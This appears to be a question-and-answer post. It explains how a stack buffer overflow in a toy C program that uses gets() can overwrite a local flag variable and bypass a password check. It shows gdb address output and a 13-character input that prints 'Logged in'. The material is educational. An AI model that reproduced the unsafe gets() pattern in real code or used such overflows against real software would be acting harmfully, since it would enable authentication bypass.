I need to call the login function in the below sample code. We can achieve this by changing the return address to the login function directly using buffer overflow attack. But I need to keep the return address as the same. Is there any other way to print logged in message without changing the return address?
char getPass()
{
int flag = 'F';
char pass[10];
gets(pass);
return (char) flag;
}
void login()
{
printf("Logged in");
exit(0);
}
void main()
{
printf("Enter Passwd");
if(getPass() == 'T')
{
login();
}else{
print("Failed");
exit(1);
}
}
Getting this to work depends on how the compiler decided to arrange the variables. If flag
appears in memory after pass
, then entering in more characters than pass
will hold results in flag
getting overwritten.
When I ran this program in a debugger and printed the addresses of these variables, I got the following:
(gdb) start
Temporary breakpoint 1 at 0x40060e: file x1.c, line 19.
Starting program: /home/dbush/./x1
Temporary breakpoint 1, main () at x1.c:19
19 printf("Enter Passwd");
Missing separate debuginfos, use: debuginfo-install glibc-2.17-292.el7.x86_64
(gdb) step
20 if(getPass() == 'T')
(gdb)
getPass () at x1.c:6
6 int flag = 'F';
(gdb)
8 gets(pass);
(gdb) p pass
$1 = "\000\000\000\000\000\000\000\000", <incomplete sequence \341>
(gdb) p &pass
$2 = (char (*)[10]) 0x7fffffffdec0
(gdb) p &flag
$3 = (int *) 0x7fffffffdecc
We can see that in this particular instance that flag
is 12 bytes past the start of pass
. My machine is also little-endian, meaning that the first of the 4 bytes of flag
contain the value to be overwritten.
So we can exploit the buffer overflow vulnerability by entering in 13 characters, the last of which is T
. This results in 10 characters being written to pass
, two more to the padding bytes between pass
and flag
, the character T
in the first byte of flag
, and a 0 for the terminated null byte in the second byte of flag
. Now the variable flag
contains 'T'
which is what gets returned from the function.
Note also that doing so doesn't write past flag
into the function's return value. This is possible because flag
is an int
and little endian byte ordering is used.
Sample input/output:
[dbush@db-centos7 ~]$ ./x1
Enter Passwd1234567890TTT
Logged in[dbush@db-centos7 ~]$